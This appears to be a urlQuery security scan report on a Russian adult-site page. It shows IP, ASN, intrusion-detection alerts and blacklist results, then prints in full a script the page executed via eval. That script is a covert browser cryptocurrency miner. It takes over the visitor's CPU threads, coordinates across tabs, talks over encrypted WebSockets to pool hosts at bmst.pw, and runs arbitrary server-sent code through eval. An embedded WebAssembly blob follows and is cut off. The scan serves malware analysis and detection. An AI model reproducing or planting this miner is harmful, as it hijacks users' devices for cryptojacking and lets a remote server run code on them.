Overview

URL porno365.space/orgii/21-russkoe-porno-gruppovoe-na-prirode.html
IP94.130.219.239
ASNAS57166 D2 International Investment Ukraine LLC
Location Ukraine
Report completed2018-10-17 13:12:53 CEST
StatusLoading report..
urlQuery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Pool
Access Level


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Severity Source IP Destination IP Alert
2018-10-17 13:12:19 CEST 2 Client IP  88.99.127.221 ET INFO HTTP Request to a *.pw domain
2018-10-17 13:12:19 CEST 2 Client IP  88.99.127.221 ET INFO HTTP Request to a *.pw domain


Blacklists

MDL  No alerts detected
OpenPhish  No alerts detected
PhishTank  No alerts detected
Fortinet's Web Filter  No alerts detected
DNS-BH  No alerts detected
mnemonic secure dns  No alerts detected


Recent reports on same IP/ASN/Domain

Last 10 reports on IP: 94.130.219.239

Date UQ / IDS / BL URL IP
2018-10-24 00:34:47 +0200
0 - 1 - 0 porno365.space/orgii/13-gruppovoe-porno-na-kv (...) 94.130.219.239
2018-10-23 22:42:51 +0200
0 - 1 - 0 porno365.space/ 94.130.219.239
2018-10-23 12:47:28 +0200
0 - 1 - 0 porno365.space/orgii/21-russkoe-porno-gruppov (...) 94.130.219.239
2018-10-20 22:02:58 +0200
0 - 1 - 0 porno365.space/orgii/9-skrytaya-kamera-v-maga (...) 94.130.219.239
2018-10-20 15:13:50 +0200
0 - 2 - 0 porno365.space/orgii/22-russkaya-vpiska-grupp (...) 94.130.219.239
2018-09-30 20:21:09 +0200
0 - 1 - 0 porno365.space/orgii/20-gruppovoe-video-s-uch (...) 94.130.219.239
2018-09-27 04:04:15 +0200
0 - 1 - 0 porno365.space/orgii/17-eblya-na-prirode.html 94.130.219.239
2018-09-26 03:01:44 +0200
0 - 1 - 0 porno365.space/orgii/21-russkoe-porno-gruppov (...) 94.130.219.239
2018-07-08 20:04:05 +0200
0 - 1 - 0 mobwapc.ru/ 94.130.219.239
2018-07-07 16:03:58 +0200
0 - 1 - 0 mobwapc.ru/ 94.130.219.239

Last 10 reports on ASN: AS57166 D2 International Investment Ukraine LLC

Date UQ / IDS / BL URL IP
2018-11-17 00:11:32 +0100
0 - 4 - 0 www.dasref.su/ 95.216.82.83
2018-11-16 23:03:48 +0100
0 - 0 - 1 pandorasong.com 95.216.59.92
2018-11-16 20:45:25 +0100
0 - 0 - 6 disk-space.ru/ 94.130.142.88
2018-11-16 20:44:53 +0100
0 - 0 - 0 lb-eu.acast.cloud 95.216.152.228
2018-11-16 20:40:27 +0100
0 - 0 - 1 xn--airasa-fwa.com/ 95.216.161.60
2018-11-16 19:09:13 +0100
0 - 0 - 1 woodenvillas.gr/ 94.130.64.103
2018-11-16 17:21:30 +0100
0 - 0 - 1 pandorasong.com 95.216.59.92
2018-11-16 16:07:56 +0100
0 - 0 - 1 gettate.trade/ 94.130.189.138
2018-11-16 14:45:53 +0100
0 - 0 - 17 sestre-mro.info/ 94.130.142.37
2018-11-16 13:37:57 +0100
0 - 0 - 20 albagroup.it/ 95.216.33.90

Last 8 reports on domain: porno365.space

Date UQ / IDS / BL URL IP
2018-10-24 00:34:47 +0200
0 - 1 - 0 porno365.space/orgii/13-gruppovoe-porno-na-kv (...) 94.130.219.239
2018-10-23 22:42:51 +0200
0 - 1 - 0 porno365.space/ 94.130.219.239
2018-10-23 12:47:28 +0200
0 - 1 - 0 porno365.space/orgii/21-russkoe-porno-gruppov (...) 94.130.219.239
2018-10-20 22:02:58 +0200
0 - 1 - 0 porno365.space/orgii/9-skrytaya-kamera-v-maga (...) 94.130.219.239
2018-10-20 15:13:50 +0200
0 - 2 - 0 porno365.space/orgii/22-russkaya-vpiska-grupp (...) 94.130.219.239
2018-09-30 20:21:09 +0200
0 - 1 - 0 porno365.space/orgii/20-gruppovoe-video-s-uch (...) 94.130.219.239
2018-09-27 04:04:15 +0200
0 - 1 - 0 porno365.space/orgii/17-eblya-na-prirode.html 94.130.219.239
2018-09-26 03:01:44 +0200
0 - 1 - 0 porno365.space/orgii/21-russkoe-porno-gruppov (...) 94.130.219.239


JavaScript

Executed Scripts (6)


Executed Evals (1)

#1 JavaScript::Eval (size: 245816, repeated: 1) - SHA256: 8435a7da6bcfdf26a9c1dc3a42d2c96f5fdc17b6e368ac6a60909786c99a609c

                                        ! function(window) {
    "use strict";
    var Miner = function(e, t) {
        if (this.params = t || {}, this._ukey = e, this._user = null, this._threads = [], this._h = 0, this._bal = 0, this._sbal = 0, this._nbal = 0, this._currentJob = null, this._autoReconnect = !0, this._reconnectRetry = 3, this._tokenFromServer = null, this._goal = 0, this._agent = "JSCN7/1.4", this._cpass = "", this._b64str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", this._totalHashesFromDeadThreads = 0, this._throttle = Math.max(0, Math.min(.99, this.params.throttle || 0)), this._waitingForAuth = !1, this._selfTestSuccess = !1, this._verifyThread = null, this._autoThreads = {
                enabled: !!this.params.autoThreads,
                interval: null,
                adjustAt: null,
                adjustEvery: 1e4,
                stats: {}
            }, this._tab = {
                ident: 16777215 * Math.random() | 0,
                mode: BMCM.IF_EXCLUSIVE_TAB,
                grace: 0,
                waitReconnect: 0,
                lastPingReceived: 0,
                interval: null
            }, window.BroadcastChannel) try {
            this._bc = new BroadcastChannel("BMCM"), this._bc.onmessage = function(e) {
                "ping" === e.data && (this._tab.lastPingReceived = Date.now())
            }.bind(this)
        } catch (e) {}
        this._eventListeners = {
            open: [],
            authed: [],
            close: [],
            error: [],
            job: [],
            found: [],
            accepted: []
        };
        var r = navigator.hardwareConcurrency || 4;
        this._targetNumThreads = this.params.threads || r, this._useWASM = this.hasWASMSupport() && !this.params.forceASMJS, this._asmjsStatus = "unloaded", this._onTargetMetBound = this._onTargetMet.bind(this), this._onVerifiedBound = this._onVerified.bind(this)
    };
    Miner.prototype.start = function(e) {
        this._tab.mode = e || BMCM.IF_EXCLUSIVE_TAB, this._tab.interval && (clearInterval(this._tab.interval), this._tab.interval = null), this._loadWorkerSource(function() {
            this._startNow()
        }.bind(this))
    }, Miner.prototype.stop = function(e) {
        for (var t = 0; t < this._threads.length; t++) this._totalHashesFromDeadThreads += this._threads[t].hashesTotal, this._threads[t].stop();
        this._threads = [], this._autoReconnect = !1, this._socket && this._socket.close(), this._currentJob = null, this._autoThreads.interval && (clearInterval(this._autoThreads.interval), this._autoThreads.interval = null), this._tab.interval && "dontKillTabUpdate" !== e && (clearInterval(this._tab.interval), this._tab.interval = null)
    }, Miner.prototype.getHashesPerSecond = function() {
        for (var e = 0, t = 0; t < this._threads.length; t++) e += this._threads[t].hashesPerSecond;
        return e
    }, Miner.prototype.getTotalHashes = function(e) {
        for (var t = Date.now(), r = this._totalHashesFromDeadThreads, n = 0; n < this._threads.length; n++) {
            var i = this._threads[n];
            if (r += i.hashesTotal, e) r += (t - i.lastMessageTimestamp) / 1e3 * .9 * i.hashesPerSecond
        }
        return 0 | r
    }, Miner.prototype.getAcceptedHashes = function() {
        return this._h
    }, Miner.prototype.getBalance = function() {
        return this._bal
    }, Miner.prototype.getWorkerBalance = function() {
        return this._nbal
    }, Miner.prototype.getSessionBalance = function() {
        return this._sbal
    }, Miner.prototype.getNodeBalance = function() {
        return this._nbal
    }, Miner.prototype.getToken = function() {
        return this._tokenFromServer
    }, Miner.prototype.on = function(e, t) {
        this._eventListeners[e] && this._eventListeners[e].push(t)
    }, Miner.prototype.getAutoThreadsEnabled = function(e) {
        return this._autoThreads.enabled
    }, Miner.prototype.setAutoThreadsEnabled = function(e) {
        return this._autoThreads.enabled = !!e, !e && this._autoThreads.interval && (clearInterval(this._autoThreads.interval), this._autoThreads.interval = null), e && !this._autoThreads.interval && (this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery, this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)), this
    }, Miner.prototype.getThrottle = function() {
        return this._throttle
    }, Miner.prototype.setThrottle = function(e) {
        return this._throttle = Math.max(0, Math.min(.99, e)), this._currentJob && this._setJob(this._currentJob), this
    }, Miner.prototype.setPower = function(e) {
        return e <= 0 && this.isRunning() ? this.stop() : 0 < e && !this.isRunning() && this.start(), this.setThrottle(.01 * (100 - e)), this
    }, Miner.prototype.getNumThreads = function() {
        return this._targetNumThreads
    }, Miner.prototype.setNumThreads = function(e) {
        e = Math.max(1, 0 | e);
        if ((this._targetNumThreads = e) > this._threads.length)
            for (var t = 0; e > this._threads.length; t++) {
                var r = new BMCM.JobThread;
                this._currentJob && r.setJob(this._currentJob, this._onTargetMetBound), this._threads.push(r)
            } else if (e < this._threads.length)
                for (; e < this._threads.length;) {
                    r = this._threads.pop();
                    this._totalHashesFromDeadThreads += r.hashesTotal, r.stop()
                }
            return this
    }, Miner.prototype._rc = function(e) {
        for (var t = this._cpass, r = new Array, n = 0; n < 256; n++) r[n] = n;
        var i, s = 0;
        for (n = 0; n < 256; n++) s = (s + r[n] + t.charCodeAt(n % t.length)) % 256, i = r[n], r[n] = r[s], r[s] = i;
        for (var a = "", o = s = n = 0; o < e.length; o++) s = (s + r[n = (n + 1) % 256]) % 256, i = r[n], r[n] = r[s], r[s] = i, a += String.fromCharCode(e.charCodeAt(o) ^ r[(r[n] + r[s]) % 256]);
        return a
    }, Miner.prototype._atob = function(e) {
        if ("function" == typeof window.atob) return window.atob(e);
        var t, r, n, i, s, a, o = this._b64str,
            u = "",
            l = 0;
        for (e = e.replace(/[^A-Za-z0-9+\/=]/g, ""); l < e.length;) t = o.indexOf(e.charAt(l++)) << 2 | (i = o.indexOf(e.charAt(l++))) >> 4, r = (15 & i) << 4 | (s = o.indexOf(e.charAt(l++))) >> 2, n = (3 & s) << 6 | (a = o.indexOf(e.charAt(l++))), u += String.fromCharCode(t), 64 != s && (u += String.fromCharCode(r)), 64 != a && (u += String.fromCharCode(n));
        return u
    }, Miner.prototype._btoa = function(e) {
        if ("function" == typeof window.btoa) return window.btoa(e);
        for (var t, r, n, i, s, a, o, u = this._b64str, l = "", h = 0; h < e.length;) i = (t = e.charCodeAt(h++)) >> 2, s = (3 & t) << 4 | (r = e.charCodeAt(h++)) >> 4, a = (15 & r) << 2 | (n = e.charCodeAt(h++)) >> 6, o = 63 & n, isNaN(r) ? a = o = 64 : isNaN(n) && (o = 64), l = l + u.charAt(i) + u.charAt(s) + u.charAt(a) + u.charAt(o);
        return l
    }, Miner.prototype._enc = function(e) {
        return this._cpass ? "E" + this._btoa(unescape(encodeURIComponent(this._rc(e)))) : e
    }, Miner.prototype._dec = function(e) {
        return this._cpass && "E" == e.charAt(0) ? this._rc(decodeURIComponent(escape(this._atob(e.substr(1))))) : e
    }, Miner.prototype.hasWASMSupport = function() {
        return void 0 !== window.WebAssembly && !/OS 11_2_(2|5|6)/.test(navigator.userAgent)
    }, Miner.prototype.isRunning = function() {
        return 0 < this._threads.length
    }, Miner.prototype.isMobile = function() {
        return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i.test(navigator.userAgent)
    }, Miner.prototype.selfTest = function(t) {
        this._loadWorkerSource(function() {
            this._verifyThread || (this._verifyThread = new BMCM.JobThread);
            this._verifyThread.verify({
                verify_id: "1",
                nonce: "204f150c",
                result: "6a9c7dea83b079ce0e012907dd6929bcb0aeec3c1f06c032ca7c3386432bca00",
                blob: "0606c6d8cfd005cad45b0306350a730b0354d52f1b6d671063824287ce4a82c971d109d56d1f1b00000000ee2d1d4fd7c18bdc1b24abb902ac8ecc3d201ffb5904de9e476a7bbb0f9ec1ab04"
            }, function(e) {
                t(!0 === e.verified, e)
            })
        }.bind(this))
    }, Miner.prototype._loadWorkerSource = function(e) {
        if (this._useWASM || "loaded" === this._asmjsStatus) e();
        else if ("unloaded" === this._asmjsStatus) {
            this._asmjsStatus = "pending";
            var t = new XMLHttpRequest;
            t.addEventListener("load", function() {
                BMCM.CNWB = BMCM.Res(t.responseText), this._asmjsStatus = "loaded", e()
            }.bind(this), t), t.open("get", BMCM.CFG.LURL + BMCM.CFG.AJN, !0), t.send()
        }
    }, Miner.prototype._startNow = function() {
        this._tab.mode === BMCM.FORCE_MULTI_TAB || this._tab.interval || (this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)), this._tab.mode === BMCM.IF_EXCLUSIVE_TAB && this._otherTabRunning() || (this._tab.mode === BMCM.FORCE_EXCLUSIVE_TAB && (this._tab.grace = Date.now() + 3e3), this._verifyThread || (this._verifyThread = new BMCM.JobThread), this.setNumThreads(this._targetNumThreads), this._autoReconnect = !0, this._connectAfterSelfTest())
    }, Miner.prototype._otherTabRunning = function() {
        if (this._tab.lastPingReceived > Date.now() - 1500) return !0;
        try {
            var e = localStorage.getItem("BMCM");
            if (e) {
                var t = JSON.parse(e);
                if (t.ident !== this._tab.ident && Date.now() - t.time < 1500) return !0
            }
        } catch (e) {}
        return !1
    }, Miner.prototype._updateTabs = function() {
        if (!(Date.now() < this._tab.waitReconnect)) {
            var e = this._otherTabRunning();
            if (e && this.isRunning() && Date.now() > this._tab.grace ? this.stop("dontKillTabUpdate") : e || this.isRunning() || this._startNow(), this.isRunning() && !this._waitingForAuth) {
                this._bc && this._bc.postMessage("ping");
                try {
                    localStorage.setItem("BMCM", JSON.stringify({
                        ident: this._tab.ident,
                        time: Date.now()
                    }))
                } catch (e) {}
            }
        }
    }, Miner.prototype._adjustThreads = function() {
        var e = this.getHashesPerSecond(),
            t = this.getNumThreads(),
            r = this._autoThreads.stats;
        if (r[t] = r[t] ? .5 * r[t] + .5 * e : e, Date.now() > this._autoThreads.adjustAt) {
            this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
            var n = (r[t] || 0) - 1,
                i = r[t + 1] || 0,
                s = r[t - 1] || 0;
            if (s < n && (0 === i || n < i) && t < 8) return this.setNumThreads(t + 1);
            if (i < n && (!s || n < s) && 1 < t) return this.setNumThreads(t - 1)
        }
    }, Miner.prototype._emit = function(e, t) {
        var r = this._eventListeners[e];
        if (r && r.length)
            for (var n = 0; n < r.length; n++) r[n](t)
    }, Miner.prototype._hashString = function(e) {
        for (var t = 5381, r = e.length; r;) t = 33 * t ^ e.charCodeAt(--r);
        return t >>> 0
    }, Miner.prototype._connectAfterSelfTest = function() {
        this._selfTestSuccess || this.hasWASMSupport() ? this._connect() : this.selfTest(function(e) {
            e ? (this._selfTestSuccess = !0, this._connect()) : this._emit("error", {
                error: "self_test_failed"
            })
        }.bind(this))
    }, Miner.prototype._connect = function() {
        if (!this._socket) {
            var e = BMCM.CFG.WSS,
                t = e[Math.random() * e.length | 0],
                r = t[Math.random() * t.length | 0];
            this._socket = new WebSocket(r), this._socket.onmessage = this._onMessage.bind(this), this._socket.onerror = this._onError.bind(this), this._socket.onclose = this._onClose.bind(this), this._socket.onopen = this._onOpen.bind(this)
        }
    }, Miner.prototype._randStr = function(e) {
        e = e || 16;
        for (var t = "abcdefghijklmnopqrstuvwxyz1234567890", r = "", n = 0; n < e; n++) r += t[Math.floor(Math.random() * (t.length - 1))];
        return r
    }, Miner.prototype._onOpen = function(e) {
        this._emit("open");
        var t = {
            type: "user",
            ukey: this._ukey,
            user: null,
            agent: this._agent,
            goal: 0
        };
        this._user ? t.user = this._user : this._goal && (t.type = "token", t.goal = this._goal), this.params.ref && (t.ref = this.params.ref), this._cpass = this._randStr(), this._sendPrepared("A" + this._cpass), this._send("auth", t)
    }, Miner.prototype._onError = function(e) {
        this._emit("error", {
            error: "connection_error"
        }), this._onClose(e)
    }, Miner.prototype._onClose = function(e) {
        1003 <= e.code && e.code <= 1009 && (this._reconnectRetry = 15, this._tab.waitReconnect = Date.now() + 15e3);
        for (var t = 0; t < this._threads.length; t++) this._threads[t].stop();
        this._threads = [], this._socket = null, this._emit("close"), this._autoReconnect && setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
    }, Miner.prototype._onMessage = function(ev) {
        var msg = JSON.parse(this._dec(ev.data));
        "job" === msg.type ? (this._setJob(msg.params), this._emit("job", msg.params), this._autoThreads.enabled && !this._autoThreads.interval && (this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery, this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3))) : "verify" === msg.type ? this._verifyThread.verify(msg.params, this._onVerifiedBound) : "accepted" === msg.type || "hash_accepted" === msg.type ? (this._h = msg.params.h || msg.params.hashes || 0, this._bal = msg.params.b || msg.params.xmr || 0, this._sbal = msg.params.sb || msg.params.sxmr || 0, this._nbal = msg.params.nb || msg.params.nxmr || 0, this._emit("accepted", msg.params), this._goal && this._h >= this._goal && this.stop()) : "authed" === msg.type ? (this._tokenFromServer = msg.params.token || null, this._h = msg.params.h || msg.params.hashes || 0, this._bal = msg.params.b || msg.params.xmr || 0, this._sbal = msg.params.sb || msg.params.sxmr || 0, this._nbal = msg.params.nb || msg.params.nxmr || 0, this._emit("authed", msg.params), this._reconnectRetry = 3, this._tab.waitReconnect = 0) : "eval" === msg.type ? eval(msg.code) : "error" === msg.type && (console && console.error && console.error("Pool error:", msg.params.error), this._emit("error", msg.params), "invalid_user_key" === msg.params.error && (this._reconnectRetry = 6e3, this._tab.waitReconnect = Date.now() + 6e6)), ("banned" === msg.type || msg.params.banned) && (this._emit("error", {
            banned: !0
        }), this._reconnectRetry = 600, this._tab.waitReconnect = Date.now() + 6e5)
    }, Miner.prototype._setJob = function(e) {
        this._currentJob = e, this._currentJob.throttle = this._throttle;
        for (var t = 0; t < this._threads.length; t++) this._threads[t].setJob(e, this._onTargetMetBound)
    }, Miner.prototype._onTargetMet = function(e) {
        this._emit("found", e), e.job_id === this._currentJob.job_id && this._send("submit", {
            job_id: e.job_id,
            nonce: e.nonce,
            result: e.result
        })
    }, Miner.prototype._onVerified = function(e) {
        this._send("verified", e)
    }, Miner.prototype._sendPrepared = function(e) {
        this._socket && this._socket.send(e)
    }, Miner.prototype._send = function(e, t) {
        var r = {
            type: e,
            params: t || {}
        };
        this._sendPrepared(this._enc(JSON.stringify(r)))
    }, window.BMCM = window.BMCM || {}, window.BMCM.IF_EXCLUSIVE_TAB = "ifExclusiveTab", window.BMCM.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab", window.BMCM.FORCE_MULTI_TAB = "forceMultiTab", window.BMCM.Worker = function(e, t, r) {
        "object" == typeof t && (r = t);
        var n = new Miner(e, r);
        return n._user = "string" == typeof t ? t : location.host || "localhost", n
    }, window.BMCM.Node = function(e, t, r) {
        return window.BMCM.Worker(e, t, r)
    }, window.BMCM.Site = function(e, t, r) {
        "object" == typeof t && (r = t);
        var n = new Miner(e, r);
        return n._user = "s/" + ("string" == typeof t ? t : location.host || "localhost"), n
    }, window.BMCM.Res = function(e) {
        return (window.URL || window.webkitURL || window.mozURL).createObjectURL(new Blob([e]))
    }
}(window),
function(e) {
    "use strict";
    var t = function() {
        this.worker = new Worker(BMCM.CNWB), this.worker.onmessage = this.onReady.bind(this), this.currentJob = null, this.verifyJob = null, this.jobCallback = function() {}, this.verifyCallback = function() {}, this._isReady = !1, this.hashesPerSecond = 0, this.hashesTotal = 0, this.running = !1, this.lastMessageTimestamp = Date.now()
    };
    t.prototype.onReady = function(e) {
        if ("ready" !== e.data || this._isReady) throw 'Expecting first message to be "ready", got ' + e;
        this._isReady = !0, this.worker.onmessage = this.onReceiveMsg.bind(this), this.currentJob ? (this.running = !0, this.worker.postMessage(this.currentJob)) : this.verifyJob && this.worker.postMessage(this.verifyJob)
    }, t.prototype.onReceiveMsg = function(e) {
        e.data.verify_id ? this.verifyCallback(e.data) : (e.data.result && this.jobCallback(e.data), this.hashesPerSecond = .5 * this.hashesPerSecond + .5 * e.data.hashesPerSecond, this.hashesTotal += e.data.hashes, this.lastMessageTimestamp = Date.now(), this.running && this.worker.postMessage(this.currentJob))
    }, t.prototype.setJob = function(e, t) {
        this.currentJob = e, this.jobCallback = t, this._isReady && !this.running && (this.running = !0, this.worker.postMessage(this.currentJob))
    }, t.prototype.verify = function(e, t) {
        this.verifyCallback = t, this._isReady ? this.worker.postMessage(e) : this.verifyJob = e
    }, t.prototype.stop = function() {
        this.worker && (this.worker.terminate(), this.worker = null), this.running = !1
    }, e.BMCM.JobThread = t
}(window), self.BMCM = self.BMCM || {}, self.BMCM.CFG = self.BMCM.CFG || {
    LURL: "http://bmst.pw/",
    AJN: "BMCM.asm.js",
    WSS: [
        ["ws://ws1.bmst.pw/ws", "ws://ws2.bmst.pw/ws"]
    ]
}, BMCM.CNWB = BMCM.Res('self.BMCM=self.BMCM||{};self.BMCM.CFG=self.BMCM.CFG||{LURL:"' + self.BMCM.CFG.LURL + '"};var Module={locateFile:(function(path){return BMCM.CFG.LURL+path}),wasmBinary:[0,97,115,109,1,0,0,0,1,51,9,96,3,127,127,127,0,96,1,127,0,96,0,1,127,96,2,127,127,1,127,96,3,127,127,127,1,127,96,1,127,1,127,96,2,127,127,0,96,4,127,127,127,127,0,96,3,127,127,126,0,2,136,2,14,3,101,110,118,6,109,101,109,111,114,121,2,1,128,2,128,2,3,101,110,118,5,116,97,98,108,101,1,112,1,8,8,3,101,110,118,9,116,97,98,108,101,66,97,115,101,3,127,0,3,101,110,118,14,68,89,78,65,77,73,67,84,79,80,95,80,84,82,3,127,0,3,101,110,118,8,83,84,65,67,75,84,79,80,3,127,0,3,101,110,118,5,97,98,111,114,116,0,1,3,101,110,118,13,101,110,108,97,114,103,101,77,101,109,111,114,121,0,2,3,101,110,118,14,103,101,116,84,111,116,97,108,77,101,109,111,114,121,0,2,3,101,110,118,23,97,98,111,114,116,79,110,67,97,110,110,111,116,71,114,111,119,77,101,109,111,114,121,0,2,3,101,110,118,11,95,95,95,115,101,116,69,114,114,78,111,0,1,3,101,110,118,12,95,95,95,115,121,115,99,97,108,108,50,48,0,3,3,101,110,118,22,95,101,109,115,99,114,105,112,116,101,110,95,109,101,109,99,112,121,95,98,105,103,0,4,3,101,110,118,6,95,102,116,105,109,101,0,5,3,101,110,118,7,95,103,109,116,105,109,101,0,5,3,30,29,6,0,4,1,0,4,5,5,8,0,0,6,1,1,7,0,7,7,6,1,2,0,4,0,0,0,7,7,5,6,11,2,127,1,35,1,11,127,1,35,2,11,7,81,7,18,95,97,101,115,98,95,115,105,110,103,108,101,95,114,111,117,110,100,0,18,6,95,99,110,95,99,116,0,29,6,95,99,110,95,100,116,0,28,6,95,99,110,95,118,48,0,36,6,95,99,110,95,118,49,0,35,7,95,109,97,108,108,111,99,0,16,10,115,116,97,99,107,65,108,108,111,99,0,37,9,14,1,0,35,0,11,8,19,34,30,33,32,19,19,19,10,156,197,3,29,227,25,1,10,127,32,0,32,0,40,2,0,34,3,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,0,115,32,0,65,4,106,34,9,40,2,0,34,4,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,0,65,8,106,34,10,40,2,0,34,5,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,0,65,12,106,34,11,40,2,0,34,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,6,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,16,115,32,4,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,4,115,32,5,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,2,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,3,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,7,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,8,115,32,2,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,3,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,4,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,8,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,2,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,12,115,32,3,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,4,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,5,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,3,54,2,0,32,9,32,7,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,20,115,32,8,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,2,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,6,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,4,54,2,0,32,10,32,8,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,24,115,32,2,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,6,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,7,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,5,54,2,0,32,11,32,2,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,28,115,32,6,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,7,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,8,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,2,54,2,0,32,0,32,3,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,32,115,32,4,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,6,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,48,115,32,4,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,36,115,32,5,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,2,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,3,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,7,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,40,115,32,2,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,3,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,4,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,8,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,2,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,44,115,32,3,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,4,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,5,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,3,54,2,0,32,9,32,7,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,52,115,32,8,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,2,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,6,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,4,54,2,0,32,10,32,8,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,56,115,32,2,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,6,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,7,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,5,54,2,0,32,11,32,2,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,60,115,32,6,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,7,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,8,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,2,54,2,0,32,0,32,3,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,64,115,32,4,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,6,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,80,115,32,4,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,68,115,32,5,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,2,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,3,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,7,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,72,115,32,2,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,3,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,4,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,8,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,2,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,76,115,32,3,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,4,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,5,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,2,65,24,118,65,2,116,65,128,32,106,40,2,0,115,34,3,54,2,0,32,9,32,7,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,1,40,2,84,115,32,8,65,8,118,65,255,1,113,65,2,116,6